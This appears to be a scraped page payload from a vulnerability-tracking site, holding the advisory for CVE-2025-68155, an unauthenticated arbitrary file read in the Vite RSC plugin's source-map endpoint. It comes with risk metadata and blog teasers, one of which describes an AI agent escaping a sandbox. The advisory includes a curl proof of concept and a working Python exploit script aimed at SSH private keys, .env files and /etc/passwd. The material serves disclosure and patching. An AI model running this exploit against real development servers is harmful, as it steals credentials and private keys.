[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"cve-CVE-2025-68155":3,"landing-articles":87},{"id":4,"cve_id":5,"euvd_id":6,"summary":7,"published":8,"cvss_data":9,"is_remote":19,"cwes":20,"cpes":23,"technologies":25,"references":27,"score":34,"epss_score":35,"epss_percentile":36,"is_kev":37,"cisa_kev_date_added":38,"cisa_kev_due_date":38,"cisa_ssvc":39,"attack_mappings":49,"exploits":86},82214,"CVE-2025-68155","EUVD-2025-203834","@vitejs\u002Fplugin-rsc has an Arbitrary File Read via `\u002F__vite_rsc_findSourceMapURL` Endpoint\n\n## Summary\n\nThe `\u002F__vite_rsc_findSourceMapURL` endpoint in `@vitejs\u002Fplugin-rsc` allows **unauthenticated arbitrary file read** during development mode. An attacker can read any file accessible to the Node.js process by sending a crafted HTTP request with a `file:\u002F\u002F` URL in the `filename` query parameter.\n\n**Severity:** High\n**Attack Vector:** Network  \n**Privileges Required:** None  \n**Scope:** Development mode only (`vite dev`)\n\n---\n\n## Impact\n\n### Who Is Affected?\n\n- **All developers** using `@vitejs\u002Fplugin-rsc` during development\n- Projects running `vite dev` with the RSC plugin enabled\n\n### Attack Scenarios\n\n1. **Network-Exposed Dev Servers:**  \n   When developers run `vite --host 0.0.0.0` (common for mobile testing), attackers on the same network can read files.\n\n2. ~**XSS-Based Attacks:**~\n   ~If the application has an XSS vulnerability, malicious JavaScript can fetch sensitive files and exfiltrate them.~\n\n3. ~**Malicious Dependencies:** ~\n   ~A compromised npm package could include code that reads files during development.~\n\n4. ~**DNS Rebinding:**~ (EDIT: This doesn't apply since https:\u002F\u002Fgithub.com\u002Fvitejs\u002Fvite\u002Fpull\u002F20222)\n   ~An attacker could use DNS rebinding to access the localhost dev server from a malicious website.~\n\n### What Can Be Leaked?\n\n- Environment files (`.env`, `.env.local`, `.env.production`)\n- SSH keys (`~\u002F.ssh\u002Fid_rsa`, `~\u002F.ssh\u002Fid_ed25519`)\n- Cloud credentials (`~\u002F.aws\u002Fcredentials`, `~\u002F.config\u002Fgcloud\u002F`)\n- Database passwords and API keys\n- Source code from other projects\n- System files (`\u002Fetc\u002Fpasswd`, `\u002Fetc\u002Fshadow` if readable)\n\n---\n\n## Details\n\n### Vulnerable Code Location\n\n**File:** `packages\u002Fplugin-rsc\u002Fsrc\u002Fplugins\u002Ffind-source-map-url.ts`  \n**Lines:** 49-61\n\nThe vulnerability exists in the `findSourceMapURL` function:\n\n```typescript\nasync function findSourceMapURL(\n  server: ViteDevServer,\n  filename: string,\n  environmentName: string,\n): Promise\u003Cobject | undefined> {\n  \u002F\u002F this is likely server external (i.e. outside of Vite processing)\n  if (filename.startsWith('file:\u002F\u002F')) {\n    filename = fileURLToPath(filename)\n    if (fs.existsSync(filename)) {\n      \u002F\u002F line-by-line identity source map\n      const content = fs.readFileSync(filename, 'utf-8')  \u002F\u002F ← ARBITRARY FILE READ\n      return {\n        version: 3,\n        sources: [filename],\n        sourcesContent: [content],  \u002F\u002F ← FILE CONTENTS LEAKED HERE\n        mappings: 'AAAA' + ';AACA'.repeat(content.split('\\n').length),\n      }\n    }\n    return\n  }\n  \u002F\u002F ... rest of the function\n}\n```\n\n### Root Cause\n\nThe endpoint:\n1. Accepts a user-controlled `filename` parameter from the query string (line 20)\n2. Checks if it starts with `file:\u002F\u002F` (line 49)\n3. Converts it to a filesystem path using `fileURLToPath()` (line 50)\n4. Reads the file with `fs.readFileSync()` **without any path validation** (line 53)\n5. Returns the file contents in the JSON response (line 57)\n\n**No validation is performed** to ensure the requested file is within the project directory or is a legitimate source file.\n\n---\n\n## PoC\n\n### Quick Test (Single Command)\n\nIf you have a Vite dev server running with `@vitejs\u002Fplugin-rsc`, you can test immediately:\n\n```bash\ncurl 'http:\u002F\u002Flocalhost:5173\u002F__vite_rsc_findSourceMapURL?filename=file:\u002F\u002F\u002Fetc\u002Fpasswd&environmentName=Server'\n```\n\n**Expected output** (file contents in `sourcesContent`):\n\n```json\n{\n  \"version\": 3,\n  \"sources\": [\"\u002Fetc\u002Fpasswd\"],\n  \"sourcesContent\": [\"root:x:0:0:root:\u002Froot:\u002Fbin\u002Fbash\\ndaemon:x:1:1:daemon:\u002Fsbin:...\"],\n  \"mappings\": \"AAAA;AACA;AACA;...\"\n}\n```\n\n\u003Cdetails>\u003Csummary>Further details of PoC\u003C\u002Fsummary>\n\n### Complete PoC with Docker\n\nFor a fully reproducible environment, I've prepared a complete PoC:\n\n#### Step 1: Create a minimal `vite.config.ts`\n\n```typescript\nimport { defineConfig } from 'vite'\nimport react from '@vitejs\u002Fplugin-rsc'\n\nexport default defineConfig({\n  plugins: [\n    react({\n      serverHandler: false,\n    }),\n  ],\n})\n```\n\n#### Step 2: Create `package.json`\n\n```json\n{\n  \"name\": \"poc-vite-rsc-file-read\",\n  \"version\": \"1.0.0\",\n  \"private\": true,\n  \"type\": \"module\",\n  \"scripts\": {\n    \"dev\": \"vite --host 0.0.0.0\"\n  },\n  \"dependencies\": {\n    \"react\": \"^19.0.0\",\n    \"react-dom\": \"^19.0.0\"\n  },\n  \"devDependencies\": {\n    \"@vitejs\u002Fplugin-rsc\": \"latest\",\n    \"vite\": \"^6.0.0\"\n  }\n}\n```\n\n#### Step 3: Create minimal `index.html` and `src\u002Fmain.tsx`\n\n**index.html:**\n```html\n\u003C!DOCTYPE html>\n\u003Chtml>\n  \u003Cbody>\n    \u003Cdiv id=\"root\">\u003C\u002Fdiv>\n    \u003Cscript type=\"module\" src=\"\u002Fsrc\u002Fmain.tsx\">\u003C\u002Fscript>\n  \u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n**src\u002Fmain.tsx:**\n```tsx\nimport React from 'react'\nimport ReactDOM from 'react-dom\u002Fclient'\nReactDOM.createRoot(document.getElementById('root')!).render(\u003Cdiv>PoC\u003C\u002Fdiv>)\n```\n\n#### Step 4: Start the server and exploit\n\n```bash\n# Install and start\npnpm install\npnpm dev\n\n# In another terminal, exploit:\ncurl 'http:\u002F\u002Flocalhost:5173\u002F__vite_rsc_findSourceMapURL?filename=file:\u002F\u002F\u002Fetc\u002Fpasswd&environmentName=Server'\n```\n\n### Python Exploit Script\n\nFor easier testing, here's a Python script:\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"Exploit: Arbitrary File Read via \u002F__vite_rsc_findSourceMapURL\"\"\"\n\nimport json\nimport sys\nimport urllib.request\nimport urllib.parse\n\ndef read_file(host, port, file_path):\n    \"\"\"Read a file from the target server via the vulnerability.\"\"\"\n    url = f\"http:\u002F\u002F{host}:{port}\u002F__vite_rsc_findSourceMapURL\"\n    params = urllib.parse.urlencode({\n        'filename': f'file:\u002F\u002F{file_path}',\n        'environmentName': 'Server'\n    })\n    \n    try:\n        with urllib.request.urlopen(f\"{url}?{params}\", timeout=10) as response:\n            data = json.loads(response.read().decode('utf-8'))\n            if 'sourcesContent' in data and data['sourcesContent']:\n                return data['sourcesContent'][0]\n    except Exception as e:\n        return f\"Error: {e}\"\n    return None\n\nif __name__ == '__main__':\n    host = sys.argv[1] if len(sys.argv) > 1 else 'localhost'\n    port = sys.argv[2] if len(sys.argv) > 2 else '5173'\n    file_path = sys.argv[3] if len(sys.argv) > 3 else '\u002Fetc\u002Fpasswd'\n    \n    content = read_file(host, port, file_path)\n    if content:\n        print(f\"[+] Successfully read {file_path}:\")\n        print(\"-\" * 60)\n        print(content)\n        print(\"-\" * 60)\n    else:\n        print(f\"[-] Failed to read {file_path}\")\n```\n\n**Usage:**\n```bash\npython3 exploit.py localhost 5173 \u002Fetc\u002Fpasswd\npython3 exploit.py localhost 5173 \u002Froot\u002F.ssh\u002Fid_rsa\npython3 exploit.py localhost 5173 \u002Fhome\u002Fuser\u002F.env\n```\n\n### Verified Exploitation Results\n\nI tested this in a Docker container and successfully read:\n\n| File | Description |\n|------|-------------|\n| `\u002Fetc\u002Fpasswd` | System user accounts |\n| `\u002Fetc\u002Fhosts` | Network configuration |\n| `\u002Froot\u002F.env.secret` | Environment secrets |\n| `\u002Froot\u002F.ssh\u002Fid_rsa` | SSH private keys |\n| `\u002Fproc\u002Fself\u002Fenviron` | Process environment variables |\n| Source code files | Any file in the filesystem |\n\n**Example output from `\u002Fetc\u002Fpasswd`:**\n\n```\nroot:x:0:0:root:\u002Froot:\u002Fbin\u002Fsh\nbin:x:1:1:bin:\u002Fbin:\u002Fsbin\u002Fnologin\ndaemon:x:2:2:daemon:\u002Fsbin:\u002Fsbin\u002Fnologin\nnode:x:1000:1000::\u002Fhome\u002Fnode:\u002Fbin\u002Fsh\n```\n\n**Example output from sensitive secrets file:**\n\n```\nSECRET_API_KEY=sk-live-very-secret-key-12345\nDB_PASSWORD=super_secret_password\nAWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI\u002FK7MDENG\u002FbPxRfiCYEXAMPLEKEY\n```\n\n\u003C\u002Fdetails>\n\n---","2025-12-16T22:32:00Z",{"cvss_v3.1":10},{"scope":11,"version":12,"baseScore":13,"attackVector":14,"baseSeverity":15,"vectorString":16,"integrityImpact":17,"userInteraction":17,"attackComplexity":18,"availabilityImpact":17,"privilegesRequired":17,"confidentialityImpact":15},"UNCHANGED","3.1",7.5,"NETWORK","HIGH","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","NONE","LOW",true,[21,22],"CWE-22","CWE-73",[24],"cpe:2.3:a:vitejs:plugin-rsc:*:*:*:*:*:*:*:*",[26],"Vitejs Plugin-Rsc",[28,29,30,31,32,33],"https:\u002F\u002Fgithub.com\u002Ffacebook\u002Freact\u002Fpull\u002F29708","https:\u002F\u002Fgithub.com\u002Ffacebook\u002Freact\u002Fpull\u002F30741","https:\u002F\u002Fgithub.com\u002Fvitejs\u002Fvite-plugin-react\u002Fcommit\u002F582fba0b9a52b13fcff6beaaa3bfbd532bc5359d","https:\u002F\u002Fgithub.com\u002Fvitejs\u002Fvite-plugin-react\u002Fsecurity\u002Fadvisories\u002FGHSA-g239-q96q-x4qm","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2025-68155","https:\u002F\u002Fgithub.com\u002Fvitejs\u002Fvite-plugin-react",0.57,0.00507,0.42967,false,null,{"timestamp":40,"automatable":41,"tech_impact":42,"exploitation":43,"cisa_decision":44,"cisa_remediation_timeline":48},"2025-12-16T21:47:42.775601Z","yes","partial","poc",{"vector":45,"decision":46,"priority":47},"CISAv1\u002FE:P\u002FA:Y\u002FT:P\u002FM:H\u002F2026-10-25T18:44:30.517317\u002F","attend","medium","14D",[50,56,65,73,79],{"name":51,"source":52,"tactics":53,"technique_id":55},"Exploit Public-Facing Application","attack_vector",[54],"initial-access","T1190",{"name":57,"source":58,"cwe_ids":59,"tactics":60,"capec_ids":62,"technique_id":64},"Obfuscated Files or Information","capec",[22],[61],"stealth",[63],"CAPEC-267","T1027",{"name":66,"source":58,"cwe_ids":67,"tactics":68,"capec_ids":70,"technique_id":72},"Dynamic Linker Hijacking",[22],[69,61],"execution",[71],"CAPEC-13","T1574.006",{"name":74,"source":58,"cwe_ids":75,"tactics":76,"capec_ids":77,"technique_id":78},"Path Interception by PATH Environment Variable",[22],[69,61],[71],"T1574.007",{"name":80,"source":58,"cwe_ids":81,"tactics":82,"capec_ids":84,"technique_id":85},"Prevent Command History Logging",[22],[83],"defense-impairment",[71],"T1690",[],{"count":88,"next":89,"previous":38,"results":90},30,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&sorted_by=-published_at",[91,98,106,114,121,128,135,140,147,154],{"id":88,"title":92,"summary":93,"published_at":94,"type":95,"link":96,"image_url":97},"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":99,"title":100,"summary":101,"published_at":102,"type":103,"link":104,"image_url":105},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":107,"title":108,"summary":109,"published_at":110,"type":111,"link":112,"image_url":113},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png",{"id":115,"title":116,"summary":117,"published_at":118,"type":103,"link":119,"image_url":120},27,"Exposure Management: definition, stakes, and how it works","Vulnerabilities, misconfigurations, poorly managed identities: understand what Exposure Management is and why it matters in 2026.","2026-09-10T00:00:00Z","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fdefinition-exposure-management","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F06170638a9-1789050834\u002Fexposure.management.definition.en.png",{"id":122,"title":123,"summary":124,"published_at":125,"type":111,"link":126,"image_url":127},26,"DGFiP Cyberattack 2026: Inside the Attacker","Two distinct attacks hit France","2026-08-17T00:00:00Z","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fdgfip-cyberattack-2026-inside-attacker-mind","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fdc38d33696-1787055371\u002Fdgfip-2026.png",{"id":129,"title":130,"summary":131,"published_at":132,"type":95,"link":133,"image_url":134},25,"CVE-2026-64638: XSS2Shell, a WordPress Login Vulnerability","Pre-auth XSS on wp-login.php, patched August 6. What is actually exploitable, and how to read it in your Patrowl report.","2026-08-10T00:00:00Z","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fxss2shell-critical-wordpress-login-vulnerability-2026","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F904e61748b-1786369212\u002Fxss2shell.png",{"id":136,"title":137,"summary":137,"published_at":132,"type":95,"link":138,"image_url":139},24,"CVE-2026-64638 : XSS2Shell, faille du login WordPress","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fcve-2026-64638-xss2shell-faille-login-wordpress","",{"id":141,"title":142,"summary":143,"published_at":144,"type":95,"link":145,"image_url":146},23,"How Agentic AI Hunts Down CVEs Before Attackers Do","38 vulnerability sources monitored around the clock, pentester-validated proof of exploitability, an alert within hours. See how it works.","2026-08-05T00:00:00Z","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fproactive-threat-hunting-agentic-ai-cve","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F804988ce7b-1785930160\u002Fproactive-threat-hunting-how-agentic-ai-tracks-cves.png",{"id":148,"title":149,"summary":150,"published_at":151,"type":111,"link":152,"image_url":153},22,"AI Agent Incident: OpenAI HuggingFace — Risks and Lessons","An autonomous AI agent escaped its sandbox via a JFrog Artifactory zero-day, compromised HuggingFace via privilege escalation and stolen credentials. Reconstructed timeline and security lessons.","2026-07-31T00:00:00Z","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fai-agent-incident-openai-huggingface-risks","[Image URL from Kirby]",{"id":155,"title":156,"summary":157,"published_at":158,"type":103,"link":159,"image_url":160},21,"SaaS Under Watch: What Your SDLC Doesn","Your pipeline is green. Your real exposure may have changed without you knowing it. The complete guide for software vendors.","2026-07-29T00:00:00Z","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fsecuring-saas-application-software-vendor","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F20d6ec0cd0-1785331401\u002Fapplication-security.png"]